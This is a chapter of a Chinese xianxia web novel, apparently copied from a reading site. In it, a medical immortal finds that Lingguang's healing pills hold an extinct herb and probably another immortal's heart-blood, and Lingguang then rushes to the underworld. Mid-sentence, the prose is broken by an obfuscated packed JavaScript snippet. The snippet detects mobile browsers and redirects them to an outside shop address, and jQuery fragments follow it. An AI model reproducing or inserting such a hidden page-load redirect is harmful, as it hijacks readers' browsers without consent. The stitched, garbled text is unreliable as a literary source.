25. 以命换命
作品:《与帝君断绝师徒关系后》 神仙修炼,修的就是一个长生之命、不老之身,因此煌煌九重天上,众仙早不受寻常病痛侵扰。便是有些跌打脑热,或打坐疗伤,或受人渡气,大多都能自己诊疗停当。
而九重天上唯二需要专门医仙来诊治的,一是历劫飞升后留下的伤痛,二是五花八门的毒伤。
历劫作为修仙生涯中的头等大事,历不过去者便魂飞魄散,落得个“各处茫茫皆不见”,倒省了事。
而那些侥幸历过去的,却也要留下极重的劫伤。
这便是思鹊桐君一众医仙出马的时机之一。
其他的时机,当各仙君闲不住时去某处奇境历险,在奇境中染上奇毒,便要四处求医了。
按照能解之毒的罕见程度,天上的医仙就分出了三六九等。
因此对于一位九重天上的医仙来说,最重要的名声就是,当病人中了毒,不能对着病人摇头,说你的毒实在是太奇了,另请高明吧。
其中,思鹊桐君的战绩十分突出,她从来没对任何一个病人摇过头。当然,除了陵光。
陵光走到桐君的百萼居前,尚未见亭台殿宇,先踏入了一方方整齐划一的灵圃之中。
灵圃中弥漫着香云霭霭,每个田方皆植着思鹊桐君培育的入药灵草,足有百十种,棵棵株株仪态万千,一步一景、一步一味,皆为寻常地方难得一见的珍品。
比起这片大院子,百萼居的正殿就显得有些简朴,不过是一间一进一出的小院落,方才陵光用灵通仙箓问过桐君,问得她午睡刚起,此刻正在偏殿等候。
陵光踏入偏殿,殿内的摆设也简单,不过一张黑漆香几,几上放一个铜制小香炉,底下两个蒲团,桐君盘腿坐在其中一个上面,懒洋洋地支着脑袋。
“你来了,坐,”她一抬下巴,“找我是什么事?”
思鹊桐君说话向来不打官腔,直来直往,陵光与她相处也乐得随意自在。
陵光依言在另一个蒲团上坐了,开头一句先感叹:“桐君,你听过那句话没有,说的是‘高手在民间’,我往常以为这话只适用于凡间世道,毕竟九天之上,但凡是神通广大的仙者就没有被埋没的,可此番我却发现,这话在天上竟也适用。”
桐君面无表情地听完,说:“我午后还约了两位从西境游历归来的仙君。”
陵光只好敛了敛神色,切入了正题,将事情简要地说了一遍,但隐去了孟章的身份,只说是自己遇见的游医。
听罢,桐君果然也很诧异,挑了挑描得浓淡合宜的眉毛,问:“药你可带来了?”
“带了。”陵光将装药的小纸包从怀里拿出来,在桌上展开。
桐君寂然不语,只用指尖拈起一颗来放在鼻下嗅闻,而后问:“这药你不需拿回去了吧?”
陵光赶紧点头,说悉听尊便。
桐君得了这一句,将三粒药丸都放在手心,两手一搓,丸子成了粉末,而后打开案上香炉的盖子,将粉末倒进去。
陵光欲言又止,只见桐君盖上炉盖,将手覆于其上,不过片刻,炉内便升起袅袅细烟。
一股说不上来的苦味,从炉子里溢出来。
待炉子不再冒烟,桐君打开炉盖,往里看一眼,眉头皱起来。
“这丸里果真只有三味药材。”
陵光探身往炉子里看去,那里面赫然分立着三堆粉末,其中一堆里泛着些金色。
她虽不懂药理,然也觉出不对,如此有效的药方,竟然如此的大道至简。
“都是什么药材?这样说来,我可以自己配了?”
桐君依旧微锁着眉头,十分专注的样子,伸手沾了些许带金色的粉末,又是放在鼻下嗅闻,而后眉头皱得更紧,陵光一个没注意,就看见桐君将指腹上的药粉抹在了下唇。
她嘴唇微动,细细品着舌尖粉末。
“这个药,你自己配不了,”桐君下了判断,用茶水漱了口,“其实即便是我也配不了,另外两味药都很常见,唯有一味,我没有见过。”
陵光微微讶然。
“而且,这方子写的很险,须对你的身体状态和气息有充分了解,一点出错,轻则无效,重则——你的仙根就废了。”
桐君看着半晌不言语的陵光,进一步解释:“若是我来配这副药,则须以真气走遍你的所有关键大穴,方才有把握。若他乃是凭空一望便得此良方……若真如此,那么他的层次就远在我之上,我就得拜托你帮我引荐了。”
陵光问:“你先告诉我,什么药连你也没见过?”
桐君道:“我已有了一个猜想,但还需查证,你与我同去听厄宫走一趟,待我翻一翻古书来。”
听厄宫,顾名思义,乃是桐君平日里给仙君天将们听诊的地方,离这里不过一墙之隔,前后院似的。
可以想见,桐君平日上值下值多么便利,怪道今日她虽约满了病人,午后却还有时间小憩一会儿。
天帝爱才,而桐君是医仙中的顶级仙才,这都是天帝对桐君器重的体现。
陵光跟着桐君进了听厄宫的正门,这里面占地很可观,南北走向的长条布局,一路进去,经过金方药池、骨竹林,最后一道门后,地上立着五个大炼丹炉,每个有一人半那么高,里面热气腾腾地发着橙红色的光芒。
这大炼丹炉里是天帝、王母日日必进一颗的金丹。
桐君带着陵光转过回廊,走到一间半开着门的厢房前,推门进去,让陵光在外间稍候,她去后面寻书查证。
陵光静静坐着,打量室内,见墙上的挂贴颇有意趣,端详起来。
不过片刻,只听“咿呀”的一声,那边腰门开了,桐君回来了。
陵光从椅上站起来,以眼神询问。
“查到了,”桐君说,“此药名唤金岩草,是长在上古时候,尚未泛滥的北荒大泽以北的一种草药,可后来大泽泛滥,那一带的草药都已经灭种了。你今天拿这药去问任何一个医仙,我想他们听都没有听过。”
“灭种……据你所知,现今没有任何一处还长着这金岩草吗?”
桐君很确信地点头:“没有了,很多药就是这样,离了原来的水土,便怎样都种不活,即便种活了,药力也大不如前。”
她的神情有些严肃,不待陵光说话,便又问:“我再问你,你果真只吃了半月,便有此效果了?”
陵光点头:“我记得清楚,是这月朔日前后吃的。”
桐君沉吟不语,陵光问:“桐君,可是有哪里不妥?”
“我在想,光是这三味药,虽是有效,但也不会见效这样迅猛——这丹丸里,大约还有第四味药。”
——可是在炉中只炼出了三堆药粉。
陵光诧异:“是什么?”
“我能想到的,只有生魂之血了,”桐君看向她,眼神中意味不明,“生魂之血,准确地说,是仙者的心头
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933297|191491||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精血。”
“心头精血……”陵光听过这个说法,只是,“我以为,这只是上古的传说。”
“嗯,如今各地的医家学苑都持的是这个说法,现如今也不许医者将其写于药方上,”桐君眉宇间凝着严肃神情,“因这东西乃是以彼命去换此命,有违医者济世的初衷。”
以彼命去换此命么?
“还有一层缘故,因这个制药的法子是从妖族传入仙者之中的,妖族虽然性情暴虐,对同根亲族却愿豁出性命,因此发展出了这么一种激进的疗法。而自从妖神在几十万年前被四兽联手封印后,天庭将这种疗法全盘禁用,我也许久未曾听闻这样的医方出现了。”
桐君的目光转来将她看住:“所以陵光,你说实话,你究竟从何处得来的这方子,你说的游医,究竟是什么人?”
陵光一时哑言。
“桐君,这药的来历,我实在很难相告,只是,你说这法子是用彼命去换此命,可否再说明白些?”
桐君沉默片刻,解答道:“众仙打坐吞丹,苦修长生,在我们这些医仙眼里,不过修的是那一捧左心上的浓血灵质,说白了,心头精血就是一位仙者的仙根所系。”
“若这血被邪祟魔毒所污,则走火入魔,若被强行攫取离体,只需损去一点,万把年的修行便废了,往后再想修补回去,也是难如登天。”
陵光问:“无论修为多高的仙者,都是这样么?”
“你指的是有多高?”
“就拿我作比呢?”
桐君道:“拿你作比,若这药里是功力与你相仿之人的心头血,这药就得吃上个百八十载,你的伤才能大好。然而实际上,这个设想并不成立,因为恐怕只需取上三次,那人就要驾鹤西去了。”
陵光走出听厄宫时,脑中万千思绪流窜,却又抓不住任何,随着双脚的记忆在往前走,而后一抬头,看见金光中天门高高,方才幡然醒来,竟走到了南天门外。
远远地,听见身后有人唤她的尊号,她转头去看,从那边莲池的桥上走来一个小点,她认出来是司命星君。
她这脑子里不知是怎么想的,被司命星君叫了尊号竟然充耳不闻,一个转身翻上云头,直奔东边而去。
风在耳畔呼啸,她一路破云斩雾,脑海愈来愈清明。
不仅这件事,前几日她在为了司命交代的差事思虑时,脑中也想起了一桩往事,被它弄得有些糊涂。
她以为是自己记忆有误,原本已将那事从脑中放出去,可今日在桐君处走了一遭,忽然觉得应好好计较一番。
无边无际的度朔山红土上,正降下一场暴雨。
桃树的花枝花瓣散落一地,陵光走在树下雨中,直奔鬼门而去。
入鬼门、过奈河,一路急急闯进去,她见了鬼差就问,你们北冥鬼君现在何处?
鬼差们大都见过她,当初觉得是很和蔼活泼的一个少年神女,今日却一副泰山将崩的湿漉漉的样子,哪里敢怠慢,一个指一个地将她送到了北冥面前。
彼时北冥正干干爽爽坐在亭中吹风赏花,手边一壶酒,乐得自在,忽觉一阵风过来,“啪”地一声,一只还带了水珠的手按在了石桌上,桌上的物什皆是一跳,杯中酒洒出一半。
北冥来不及坐正身子,顺着这只手往上看去。
一张湿淋淋的女武神面容,带着愠怒看着她,口中压着嗓音道:“北冥,我要查账。”

